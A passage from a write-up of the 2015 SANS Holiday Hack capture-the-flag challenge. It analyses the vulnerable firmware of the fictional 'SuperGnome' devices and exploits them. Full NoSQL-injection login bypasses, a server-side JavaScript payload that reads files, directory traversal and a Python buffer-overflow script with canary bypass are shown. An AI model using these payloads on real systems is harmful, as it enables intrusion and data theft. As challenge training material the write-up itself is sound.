#  NEDFORD: Can we get a status on this Stuart?
#  NEDFORD: Can we get a status on this Stuart?
#  LOUISE: Blocking on this ticket, we may have to ship without resolution.
START=98
 
PROG=/usr/bin/sgstatd
 
start_service() {
	$PROG &amp;
}
stop_service() {
	killall sgstatd
}
</code></pre>
<h1 id="part3letitgnomeletitgnomeletitgnomeinternetwidescavengerhunt"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Part 3: Let it Gnome!  Let it Gnome!  Let it Gnome! Internet-Wide Scavenger Hunt</h1>
<h2 id="thechallenge"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>The Challenge</h2>
<p>The first IP for a SuperGnome is given in the PCAP that Josh gave me and I verified this with Tom Hessman in the game.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/scope.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>Since I am told there are more I first use <a href="https://www.shodan.io">Shodan</a> to search the first gnomes IP and see what it has.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/shodan_sg01.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>In the <code>Services</code> section I see <code>X-Powered-By: GIYH::SuperGnome by AtnasCorp</code> that I can use to help locate the other SuperGnomes. Using Shodan again I find the four other SuperGnomes.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/shodan_all.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<h1 id="part4theresnoplacelikegnomefortheholidaysgnomagepwnage"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage</h1>
<h2 id="thechallenge"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>The Challenge</h2>
<p>Alright now for the fun part. The challenge mentions that each SuperGnome is uniquely vulnerable and the ultimate goal is to obtain the <code>gnome.conf</code> file from each one. Additionally, it says the key to exploiting each SuperGnome is found in the firmware.</p>
<p>Since I know the vulnerabilities can be found in the firmware I look at <code>index.js</code> from the firmware to see if I can find anything interesting. Often commented out portions of source code and provide tremendous amounts of information.</p>
<h3 id="loginfunction"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Login Function</h3>
<p>The first are we spot is the <code>login</code> function.</p>
<pre><code class="language-javascript">// LOGIN POST
router.post('/', function(req, res, next) {
  var db = req.db;
  var msgs = [];
  db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below.  Really guys?
  //db.get('users').findOne({username: (req.body.username || &quot;&quot;).toString(10), password: (req.body.password || &quot;&quot;).toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
    if (err || !user) {
      console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password);
      msgs.push('Invalid username or password!');
      res.msgs = msgs;
      res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res });
    } else {
      sessionid = gen_session();
      sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level };
      console.log(&quot;User level:&quot; + user.user_level);
      res.cookie('sessionid', sessionid);
      res.writeHead(301,{ Location: '/' });
      res.end();
    }
  });
});
</code></pre>
<p>A quick look at the function shows when a username and password are passed to the function there is no input validation or sanitization of the supplied parameters.</p>
<pre><code class="language-javascript">db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user)
</code></pre>
<p>Combining this with the knowledge that the gnomes run MongoDB, which uses a JSON like format for storage and querying, I can potentially perform no SQL injection (NoSQLi) to bypass authentication.</p>
<h3 id="settingsuploadfunction">Settings Upload Function</h3>
<p>The second area of interest is the settings upload function.</p>
<pre><code class="language-javascript">// SETTINGS UPLOAD
router.post('/settings', function(req, res, next) {
  if (sessions[sessionid].logged_in === true &amp;&amp; sessions[sessionid].user_level &gt; 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently)
    var filen = req.body.filen;
    var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
    var msgs = [];
    var free = 0;
    disk.check('/', function(e, info) {
      free = info.free;
    });
    try {
      fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
      msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
    } catch(e) {
      if (e.code != 'EEXIST')
	throw e;
    }
    if (free &lt; 99999999999) { // AUGGIE: I think this is breaking uploads?  Stuart why did you set this so high?
      msgs.push('Insufficient space!  File creation error!');
    }
    res.msgs = msgs;
    next();
  } else
    res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
});
</code></pre>
<p>First, I notice again there is no input validation on the parameter supplied by a user. Additionally, the function will concatenate the user supplied file with a directory and pass this to a function to create a new directory.</p>
<pre><code class="language-javascript">var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
...
fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
</code></pre>
<p>Unfortunately, the function has a check for free space using a fixed variable that will always return true so arbitrary file uploads are impossible.</p>
<pre><code class="language-javascript">var free = 0;
...
if (free &lt; 99999999999) { // AUGGIE: I think this is breaking uploads?  Stuart why did you set this so high?
</code></pre>
<p>It’s not all bad news however because even though the file won’t upload the directory will still be created so it might be possible to combine this vulnerability with others in exploitation.</p>
<h3 id="filesuploadfunction">Files Upload Function</h3>
<p>The next potential vulnerability is contained in the files upload function.</p>
<pre><code class="language-javascript">// FILES UPLOAD
router.post('/files', upload.single('file'), function(req, res, next) {
  if (sessions[sessionid].logged_in === true &amp;&amp; sessions[sessionid].user_level &gt; 99) { // NEDFORD: this should be 99 not 100 so admins can upload
    var msgs = [];
    file = req.file.buffer;
    if (req.file.mimetype === 'image/png') {
      msgs.push('Upload successful.');
      var postproc_syntax = req.body.postproc;
      console.log(&quot;File upload syntax:&quot; + postproc_syntax);
      if (postproc_syntax != 'none' &amp;&amp; postproc_syntax !== undefined) {
        msgs.push('Executing post process...');
        var result;
        d.run(function() {
          result = eval('(' + postproc_syntax + ')');
        });
        // STUART: (WIP) working to improve image uploads to do some post processing.
        msgs.push('Post process result: ' + result);
      }
      msgs.push('File pending super-admin approval.');
      res.msgs = msgs;
    } else {
      msgs.push('File not one of the approved formats: .png');
      res.msgs = msgs;
    }
  } else
    res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
  next();
});
</code></pre>
<p>There is some input validation on the file being uploaded however the more interesting part of the function is the use of eval.</p>
<pre><code class="language-javascript">result = eval('(' + postproc_syntax + ')');
</code></pre>
<p>There is no validation performed on the postproc_syntax variable which is user supplied. Eval is notorious in NodeJS for allowing server side java script injection (SSJS). This can allow me to execute code on the server.</p>
<h3 id="camsviewerfunction">Cams Viewer Function</h3>
<h3 id="thelastareaofinterestinindexjsisthecamsviewerfunction">The last area of interest in index.js is the cams viewer function.</h3>
<pre><code class="language-javascript">// CAMERA VIEWER
// STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file
router.get('/cam', function(req, res, next) {
  var camera = unescape(req.query.camera);
  // check for .png
  //if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
  camera = camera + '.png'; // add .png if its not found
  console.log(&quot;Cam:&quot; + camera);
  fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
    if (e) {
	    res.end('File ./public/images/' + camera + ' does not exist or access denied!');
    }
  });
  fs.readFile('./public/images/' + camera, function (e, data) {
    res.end(data);
  });
});
</code></pre>
<p>Most noticeably this function does not sanitize the input. Since the function takes a query for a file and if found returns it, combined with the lack of proper sanitization it’s possible to perform directory traversal. Interesting is the commented out check related to the file being a PNG image file.</p>
<pre><code class="language-javascript">if (camera.indexOf('.png') == -1)
</code></pre>
<p>This check can be defeated as long as there is .png somewhere in the file path verse actually checking if the file is a PNG. Knowing about the ability to create arbitrary directories in the settings upload function I should test for this condition on any SuperGnomes found with the settings upload function.</p>
<h2 id="sg01"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>SG-01</h2>
<p>Starting with SG-01 I try the username and password found in the database on the firmware.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-01_login.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>The username and password work and navigating to the files page I am able to download each file there without having to exploit anything beyond the compromised credentials I found.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-01_files.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<h4 id="gnomeconf">gnome.conf:</h4>
<pre><code class="language-command-line">Gnome Serial Number: NCC1701
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-01
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
</code></pre>
<h2 id="sg02"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>SG-02</h2>
<p>The next SuperGnome to tackle is SG-02. Using the credentials, I was able to login however I cannot download the files from the files page. After looking at the other pages I notice the upload area on the settings page. Since I previously saw the potential to use a vulnerability in to upload combined with a potential directory traversal vulnerability I first check the <em>/cam</em> function if directory traversal is possible.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-02_dt.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>With directory traversal confirmed the next step is to try the upload function and see if I can create an arbitrary directory with <code>.png</code> as a name.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-02_settings_error.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>Bingo! I created a directory with .png in its name. The next step is to combine the directory traversal with the arbitrary directory creation to see if I can access files I normally wouldn’t be able to.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-02_gnome.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>Using the combination of exploits, I am able to obtain everything listed on the files page.</p>
<h4 id="gnomeconf">gnome.conf:</h4>
<pre><code class="language-command-line">Gnome Serial Number: XKCD988
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-02
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
</code></pre>
<h2 id="sg03"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>SG-03</h2>
<p>On the third SuperGnome I again tried the credentials that worked on the previous two. Unfortunately, the credentials did not work. Knowing I identified a potential NoSQLi vulnerability I try a common MongoDB injection by changing the POST to a JSON via Burp Suite.</p>
<pre><code class="language-command-line">POST / HTTP/1.1
Host: 52.64.191.71
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.64.191.71/
Cookie: sessionid=O9MLXaeE0QrwB1umHzPk
Connection: close
Content-Type: application/json
 
{
    &quot;username&quot;: {$gt: &quot;&quot;},
    &quot;password&quot;: {&quot;$gt&quot;: &quot;&quot;}
}
</code></pre>
<p>The injection worked however when I try to access the files I ran into an issue.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-03_permissions.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>Since I know the SuperGnome is vulnerable to NoSQLi, I need to change the injection to give me the proper permissions in order to obtain the files I need for the challenge.</p>
<pre><code class="language-command-line">POST / HTTP/1.1
Host: 52.64.191.71
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.64.191.71/
Cookie: sessionid=O9MLXaeE0QrwB1umHzPk
Connection: close
Content-Type: application/json
Content-Length: 59
 
{
    &quot;username&quot;: &quot;admin&quot;,
    &quot;password&quot;: {&quot;$gt&quot;: &quot;&quot;}
}
</code></pre>
<p>This injection worked as well and when I went to the files page I am able to download all the files.</p>
<h4 id="gnomeconf">gnome.conf:</h4>
<pre><code class="language-command-line">Gnome Serial Number: THX1138
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-03
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
</code></pre>
<h2 id="sg04"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>SG-04</h2>
<p>Unlike the third SuperGnome I was able to use the credentials that worked on the first two SuperGnomes. After opening the files page, I notice there is an upload function. Since I identified a vulnerability in this function I intercept the POST in Burp Suite and modify it.</p>
<pre><code class="language-command-line">POST /files HTTP/1.1
Host: 52.192.152.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.192.152.132/files
Cookie: sessionid=F2vXoRGFZugzlpYRtZ9h
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------4492338463970300411499404591
Content-Length: 359
 
-----------------------------4492338463970300411499404591
Content-Disposition: form-data; name=&quot;postproc&quot;
 
res.write('Injectioned')
-----------------------------4492338463970300411499404591
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;hello.png&quot;
Content-Type: image/png
 
hello
-----------------------------4492338463970300411499404591--
</code></pre>
<p>The returned page proved that I could indeed use SSJS.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-04_ssjs_proof.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>With the successful result I send the POST to Burp Suite’s Repeater and modify it again to request each file.</p>
<pre><code class="language-javascript">res.end(require('fs').readFileSync('./files/gnome.conf'))
</code></pre>
<p>Using readFileSync allowed me to grab every file except the large file factory_cam_4.zip. After some investigation apparently the function can have some difficulties returning large data files. Knowing the web interface can download files I take a second look at the index.js file from the firmware to see how normally the files are downloaded.</p>
<pre><code class="language-javascript">if (!download) {
      res.render('files', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
    }
</code></pre>
<p>I see that normally the files are returned to res.render instead of res.end like I am using. So with some modification I change the code to return the file to res.render. Since it’s a large zip archive I also encode the result as BASE64.</p>
<pre><code class="language-javascript">res.render(fs.readFileSync('./files/factory_cam_4.zip', 'base64', function(err, data) { data;}))
</code></pre>
<p>Now that I have the file (BASE64 encoded) I need to decode the BASE64 so I open python and decode the file back to a regular zip archive.</p>
<pre><code class="language-python">import base64
with open('factory_cam_4.base64', 'rb') as fin, open('factory_cam_4.zip', 'w') as fout:
    base64.decode(fin,fout)
</code></pre>
<h4 id="gnomeconf">gnome.conf:</h4>
<pre><code class="language-command-line">Gnome Serial Number: BU22_1729_2716057 
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-04
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
</code></pre>
<h2 id="sg05"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>SG-05</h2>
<p>For the final SuperGnome I once again try the credentials I used for the majority of the other SuperGnomes. Now they work however they did not allow me to download any files.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/sg-05_files.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>Since I already used all the vulnerabilities I found from index.js and I could not find any of them in the interface for SG-05 I knew there had to be a different way to exploit SG-05. A quick nmap scan and I could see a service running that wasn’t on the other SuperGnomes.</p>
<pre><code class="language-command-line">Nmap scan report for ec2-54-233-105-81.sa-east-1.compute.amazonaws.com (54.233.105.81)
Host is up (0.048s latency).
PORT     STATE SERVICE
80/tcp   open  http
4242/tcp open  vrml-multi-use
</code></pre>
<p>Connecting to the service revealed it’s a custom backend for the SuperGnome.</p>
<pre><code class="language-command-line">nc 54.233.105.81 4242
 
Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:
 
1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users
</code></pre>
<p>The previous four SuperGnomes contain source code for the program sgstatd that I found in the firmware earlier. Running it on my system and the port 4242 is opened and listening for connections. When connecting to it I am greeted with the same message. The next step is to review the source code I found. When looking at the menu, I see a possible hidden option.</p>
<pre><code class="language-c">if (choice != 2) {
		write(sd, &quot;\nWelcome to the SuperGnome Server Status Center!\n&quot;, 51);
		write(sd, &quot;Please enter one of the following options:\n\n&quot;, 45);
		write(sd, &quot;1 - Analyze hard disk usage\n&quot;, 28);
		write(sd, &quot;2 - List open TCP sockets\n&quot;, 26);
		write(sd, &quot;3 - Check logged in users\n&quot;, 27);
		fflush(stdout);
 
		recv(sd, &amp;choice, 1, 0);
 
		switch (choice) {
		case 49:
			fp = popen(&quot;/bin/df&quot;, &quot;r&quot;);
			if (fp == NULL) {
				printf(&quot;Failed to run command\n&quot;);
				exit(1);
			}
			while (fgets(path, sizeof(path), fp) != NULL) {
				sgnet_writes(sd, path);
 
			}
			break;
 
		case 50:
			fp = popen(&quot;/bin/netstat -tan&quot;, &quot;r&quot;);
			if (fp == NULL) {
				printf(&quot;Failed to run command\n&quot;);
				exit(1);
			}
			while (fgets(path, sizeof(path) - 1, fp) != NULL) {
				sgnet_writes(sd, path);
			}
			break;
 
		case 51:
			fp = popen(&quot;/usr/bin/who&quot;, &quot;r&quot;);
			if (fp == NULL) {
				printf(&quot;Failed to run command\n&quot;);
				exit(1);
			}
			while (fgets(path, sizeof(path) - 1, fp) != NULL) {
				sgnet_writes(sd, path);
			}
			break;
 
		case 88:
			write(sd, &quot;\n\nH&quot;, 4);
			usleep(60000);
</code></pre>
<p>The hidden menu option is looking for ‘X’ (88 is decimal for X) to be input. When this option is selected it appears to be a simple message function. It calls sgstatd before it completes.</p>
<pre><code class="language-c">int sgstatd(sd)
{
	__asm__(&quot;movl $0xe4ffffe4, -4(%ebp)&quot;);
	//Canary pushed
 
	char bin[100];
	write(sd, &quot;\nThis function is protected!\n&quot;, 30);
	fflush(stdin);
	//recv(sd, &amp;bin, 200, 0);
	sgnet_readn(sd, &amp;bin, 200);
	__asm__(&quot;movl -4(%ebp), %edx\n\t&quot; &quot;xor $0xe4ffffe4, %edx\n\t&quot;	// Canary checked
		&quot;jne sgnet_exit&quot;);
	return 0;
}
</code></pre>
<p>This function declares a variable (bin) with a buffer of 100 bytes and then passes the variable to another function (sgnet_readn). There also appears to be a static Canary used as a stack protection method. Before I start debugging the program to see if I can perform a buffer overflow I need to first check if the program was compiled with an executable stack.</p>
<pre><code class="language-command-line">execstack -q sgstatd
X sgstatd
</code></pre>
<p>The <code>X</code> returned shows the stack is executable so I need to disable DEP/NX protections on the system I am going to disassemble/debug on. To do this I reboot my machine and interrupt the boot at the grub menu to add <code>noexec=off noexec32=off</code> to the line that executes the Linux kernel. Since I have a copy of the program already there is no need to compile a new version.</p>
<h3 id="findingthebufferoverflow"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Finding the Buffer Overflow</h3>
<p>Now that I am ready to start debugging the program I open it in GDB. I also set some option that will come in handy while debugging.</p>
<pre><code class="language-command-line">gdb -q sgstatd
Reading symbols from sgstatd...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) handle SIGALRM ignore
Signal        Stop   Print Pass to program   Description
SIGALRM       No  No No    Alarm clock
(gdb) set disassembly-flavor intel
</code></pre>
<p>Since the function sgstatd contains the portion of the program I am interested in I disassemble that function and set some break points. The first breakpoint is before the XOR on the Canary is performed and the second is at the return (ret) of the function.</p>
<pre><code class="language-command-line">(gdb) disas sgstatd
Dump of assembler code for function sgstatd:
   0x0804935d &lt;+0&gt;:  push   ebp
   0x0804935e &lt;+1&gt;:  mov    ebp,esp
   0x08049360 &lt;+3&gt;:  sub    esp,0x88
   0x08049366 &lt;+9&gt;:  mov    DWORD PTR [ebp-0x4],0xe4ffffe4
   0x0804936d &lt;+16&gt;: mov    DWORD PTR [esp+0x8],0x1e
   0x08049375 &lt;+24&gt;: mov    DWORD PTR [esp+0x4],0x8049d53
   0x0804937d &lt;+32&gt;: mov    eax,DWORD PTR [ebp+0x8]
   0x08049380 &lt;+35&gt;: mov    DWORD PTR [esp],eax
   0x08049383 &lt;+38&gt;: call   0x8048af0 &lt;write@plt&gt;
   0x08049388 &lt;+43&gt;: mov    eax,ds:0x804b2e0
   0x0804938d &lt;+48&gt;: mov    DWORD PTR [esp],eax
   0x08049390 &lt;+51&gt;: call   0x80489a0 &lt;fflush@plt&gt;
   0x08049395 &lt;+56&gt;: mov    DWORD PTR [esp+0x8],0xc8
   0x0804939d &lt;+64&gt;: lea    eax,[ebp-0x6c]
   0x080493a0 &lt;+67&gt;: mov    DWORD PTR [esp+0x4],eax
   0x080493a4 &lt;+71&gt;: mov    eax,DWORD PTR [ebp+0x8]
   0x080493a7 &lt;+74&gt;: mov    DWORD PTR [esp],eax
   0x080493aa &lt;+77&gt;: call   0x804990b &lt;sgnet_readn&gt;
   0x080493af &lt;+82&gt;: mov    edx,DWORD PTR [ebp-0x4]
   0x080493b2 &lt;+85&gt;: xor    edx,0xe4ffffe4
   0x080493b8 &lt;+91&gt;: jne    0x804933f &lt;sgnet_exit&gt;
   0x080493be &lt;+97&gt;: mov    eax,0x0
   0x080493c3 &lt;+102&gt;:   leave  
   0x080493c4 &lt;+103&gt;:   ret    
End of assembler dump.
(gdb) b *0x080493af
Breakpoint 1 at 0x80493af
(gdb) b *0x080493c4
Breakpoint 2 at 0x80493c4
</code></pre>
<p>Now before I run the program and try to exploit a buffer overflow I need to create a python script to send my buffer with. Initially the script just sends a bunch of ‘A’s to the program.</p>
<pre><code class="language-python">#!/usr/bin/python
import socket, time
 
port=4242
host='127.0.0.1'
 
junk=&quot;A&quot;*500
 
exploit=junk
 
print &quot;[*] Connecting to &quot;+str(host)+&quot; on port &quot;+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(&quot;X&quot;)
time.sleep(10)
 
print &quot;[+] Sending shellcode...&quot;
s.send(exploit)
s.close()
</code></pre>
<p>With the script created I run the program in GDB and also run the python script.</p>
<pre><code class="language-command-line">(gdb) run
Starting program: /home/stackcrash/SANsHolidayChallenge/SG-05/sgstatd 
Server started...
[New process 3788]
[Switching to process 3788]
 
Breakpoint 1, 0x080493af in sgstatd ()
(gdb)
</code></pre>
<pre><code class="language-command-line">./gnomePwn.py 
[*] Connecting to 127.0.0.1 on port 4242
[+] Sending shellcode...
</code></pre>
<p>Because I disassembled sgstatd I can see that the variable bin is allocated from the ebp register minus 108 bytes.</p>
<pre><code class="language-command-line">(gdb) disas sgstatd
…
   0x0804939d &lt;+64&gt;: lea    eax,[ebp-0x6c]
…
</code></pre>
<p>After the first breakpoint I want to find if I successfully overrode 500 bytes from the point bin is created.</p>
<pre><code class="language-command-line">(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffd14c
(gdb) x/200x 0xffffd14c
0xffffd14c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd154: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd15c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd164: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd16c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd174: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd17c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd184: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd18c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd194: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd19c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1a4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1ac: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1b4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1bc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1c4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1cc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1d4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1dc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1e4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1ec: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1f4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1fc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd204: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd20c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
</code></pre>
<p><code>Note: even though I sent 500 ‘A’s only 200 were written in memory meaning I only have 200 bytes to work with for the buffer overflow.</code></p>
<p>As I can see from the results I successfully caused the buffer for bin to be overflown with 0x41 (Hex for ‘A’). The next is to see if this overflow overwrote any other registers, specifically eip and esp.</p>
<pre><code class="language-command-line">(gdb) i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x80493af in sgstatd; saved eip = 0x41414141
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args: 
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc
(gdb) x/10b $esp
0xffffd130:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffd150:	0x41	0x41
</code></pre>
<p>When I inspected the frame at the first break point we see the saved eip is the ‘A’s and I also see the esp register is also being overridden. Now when I try to continue to the next breakpoint I get a message about the Canary and the program terminates.</p>
<pre><code class="language-command-line">(gdb) c
Continuing.
Canary not repaired.
[Inferior 2 (process 1493) exited normally]
</code></pre>
<p>This is because the Canary has been overridden with the buffer so I need to put it back in (remember it’s a static Canary). From the source code I know that the Canary is <code>e4ffffe4</code> in hex so it’s as simple as placing the Canary after 104 bytes of the ‘A’s. Remember the buffer starts 108 bytes from ebp and in the source code the Canary is located 4 bytes from ebp (108-4=104).</p>
<pre><code class="language-command-line">__asm__(&quot;movl $0xe4ffffe4, -4(%ebp)&quot;);
</code></pre>
<p>To do what I need I must alter the python script. At the same time, I want to find where the eip sits in the buffer so I use a ruby script that comes with Metasploit to aide me and input its results into my python script.</p>
<pre><code class="language-command-line">/usr/share/metasploit-framework/tools/exploit/pattern_create.rb 92
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad
</code></pre>
<pre><code class="language-python">#!/usr/bin/python
import socket, time
 
port=4242
host='127.0.0.1'
 
junk=&quot;A&quot;*104
canary=&quot;\xe4\xff\xff\xe4&quot;
junk2=&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad”
 
exploit=junk+canary+junk2
 
print &quot;[*] Connecting to &quot;+str(host)+&quot; on port &quot;+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(&quot;X&quot;)
time.sleep(10)
 
print &quot;[+] Sending shellcode...&quot;
s.send(exploit)
s.close()
</code></pre>
<p>I run the python script again and look for which part of the buffer I sent is stored in the eip.</p>
<pre><code class="language-command-line">(gdb) i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x80493af in sgstatd; saved eip = 0x61413161
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args: 
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc
</code></pre>
<p>I can see that <code>a1Aa</code> (little endian ASCII of <code>0x61413161</code>) is stored in the eip so I use another ruby script from Metasploit to find the exact offset.</p>
<pre><code class="language-command-line">/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb a1Aa
[*] Exact match at offset 4
</code></pre>
<p>Now I need to also make sure that I successfully repaired the Canary so I continue to see if the second breakpoint is hit.</p>
<pre><code class="language-command-line">Breakpoint 1, 0x080493af in sgstatd ()
(gdb) c
Continuing.
 
Breakpoint 2, 0x080493c4 in sgstatd ()
(gdb)
</code></pre>
